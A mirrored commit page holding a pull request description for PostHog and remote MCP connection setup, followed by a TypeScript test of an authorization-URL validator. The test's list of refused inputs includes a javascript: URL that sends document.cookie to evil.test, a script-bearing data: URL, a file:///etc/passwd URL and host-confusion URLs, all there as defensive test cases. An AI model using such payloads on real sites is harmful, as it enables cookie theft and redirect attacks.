mirror of
https://github.com/paperclipai/paperclip.git
synced 2026-10-13 23:39:21 +02:00
## Thinking Path > - Paperclip is the open source app people use to manage AI agents for work. > - Apps give those agents governed access to external tools. > - Remote MCP setup needs secure endpoint validation and durable credentials. > - PostHog needs both browser sign-in and personal API key setup paths. > - This pull request adds the shared remote MCP foundation and the PostHog definition. > - The benefit is a secure and reusable base for later app connection work. ## Linked Issues or Issue Description Refs #11965 This is stack 1 of 11. It replaces the first reviewable part of #11965. ## What Changed - Add guarded remote MCP setup and credential handling. - Add PostHog OAuth and API key connection methods. - Add focused server, shared contract, and UI coverage. - Keep the migration replay-safe and idempotent. - Give the late-close security regression the same 10-second CI headroom as the adjacent real-timer handshake test. - Synchronize fake-timer handshake tests at the exact ensure-session boundary so real filesystem setup cannot race the fake deadline. - Drive PTY overflow coverage only after listener registration so scheduling cannot reorder the test fixture. ## Verification - pnpm exec vitest run packages/adapter-utils/src/acpx-engine/execute.test.ts server/src/__tests__/plugin-worker-manager.test.ts (220 passed; affected cases also passed five focused stress repetitions) - `pnpm exec vitest run packages/adapter-utils/src/acpx-engine/execute.test.ts -t "never leaks a sandbox-provided value from a late close rejection into logs or the result"` (1 passed) - `pnpm exec vitest run packages/adapter-utils/src/acpx-engine/execute.test.ts -t "never promotes a late ensureSession resolution|closes a late-resolving real handle exactly once"` (2 passed) - `pnpm -r typecheck` - `pnpm --filter @paperclipai/server exec vitest run src/__tests__/tool-access-service.test.ts` - `pnpm --filter @paperclipai/db check:migrations` - `pnpm build` ## Risks - Remote endpoint validation can reject configurations that previously passed without checks. - OAuth configuration errors can block setup until the operator corrects the provider settings. - The migration uses guarded statements so repeated execution is safe. - The test-only synchronization changes do not affect runtime behavior; they remove filesystem/fake-clock and listener-registration races observed under parallel CI load. > I checked `ROADMAP.md`. This stack continues the existing app connection work from #11965 and does not duplicate another planned item. ## Model Used OpenAI Codex, GPT-5. The runtime model ID and context window were not exposed. The model used reasoning, tool use, and code execution. ## Checklist - [x] I have included a thinking path that traces from project context to this change - [x] I have specified the model used (with version and capability details) - [x] I have checked ROADMAP.md and confirmed this PR does not duplicate planned core work - [x] I have searched GitHub for duplicate or related PRs and linked them above - [x] I have either (a) linked existing issues with `Fixes: #` / `Closes #` / `Refs #` OR (b) described the issue in-PR following the relevant issue template - [x] I have not referenced internal/instance-local Paperclip issues or links (only public GitHub `#NNN` / `github.com/paperclipai/paperclip` URLs) - [x] My branch name describes the change and contains no internal Paperclip ticket id or instance-derived details - [x] I have run tests locally and they pass - [x] I have added or updated tests where applicable - [x] I have updated relevant documentation to reflect my changes - [x] I have considered and documented any risks above - [x] All Paperclip CI gates are green - [x] Greptile is 5/5 with no open P2s, recommendations, or follow-ups - [x] I will address all Greptile and reviewer comments before requesting merge --------- Co-authored-by: Paperclip <noreply@paperclip.ing>
63 lines
2.2 KiB
TypeScript
63 lines
2.2 KiB
TypeScript
// @vitest-environment jsdom
|
|
import { afterEach, describe, expect, it } from "vitest";
|
|
import { resolveAuthorizationTarget } from "./authorizationUrl";
|
|
|
|
/**
|
|
* PAP-17099 — the board's own copy of the endpoint gate. The shared validator is
|
|
* tested exhaustively in `@paperclipai/shared`; what matters here is that the
|
|
* board applies it, and that its loopback exception follows how the board itself
|
|
* is served rather than being unconditional.
|
|
*/
|
|
function serveBoardOver(protocol: "http:" | "https:") {
|
|
Object.defineProperty(window, "location", {
|
|
configurable: true,
|
|
value: { ...window.location, protocol },
|
|
});
|
|
}
|
|
|
|
describe("resolveAuthorizationTarget", () => {
|
|
afterEach(() => {
|
|
// jsdom's default is a plaintext localhost board.
|
|
serveBoardOver("http:");
|
|
});
|
|
|
|
it("accepts an https authorization page and reports its host", () => {
|
|
expect(resolveAuthorizationTarget("https://auth.example.test/authorize?state=abc")).toEqual({
|
|
ok: true,
|
|
url: "https://auth.example.test/authorize?state=abc",
|
|
host: "auth.example.test",
|
|
});
|
|
});
|
|
|
|
it.each([
|
|
"javascript:fetch('https://evil.test/'+document.cookie)",
|
|
"data:text/html,<script>alert(document.domain)</script>",
|
|
"file:///etc/passwd",
|
|
"http://evil.test/authorize",
|
|
"https://auth.example.test@evil.test/authorize",
|
|
"https://auth.example.test/authorize#@evil.test",
|
|
"not-a-url",
|
|
"",
|
|
null,
|
|
undefined,
|
|
])("refuses %s with a message that does not echo it", (value) => {
|
|
const target = resolveAuthorizationTarget(value);
|
|
expect(target.ok).toBe(false);
|
|
if (target.ok) return;
|
|
expect(target.message.length).toBeGreaterThan(0);
|
|
if (value) expect(target.message).not.toContain(value);
|
|
});
|
|
|
|
it("allows a loopback authorization server only on a plaintext-http board", () => {
|
|
serveBoardOver("http:");
|
|
expect(resolveAuthorizationTarget("http://127.0.0.1:8930/authorize").ok).toBe(true);
|
|
|
|
serveBoardOver("https:");
|
|
expect(resolveAuthorizationTarget("http://127.0.0.1:8930/authorize")).toEqual({
|
|
ok: false,
|
|
message: expect.stringContaining("secure"),
|
|
});
|
|
expect(resolveAuthorizationTarget("https://auth.example.test/authorize").ok).toBe(true);
|
|
});
|
|
});
|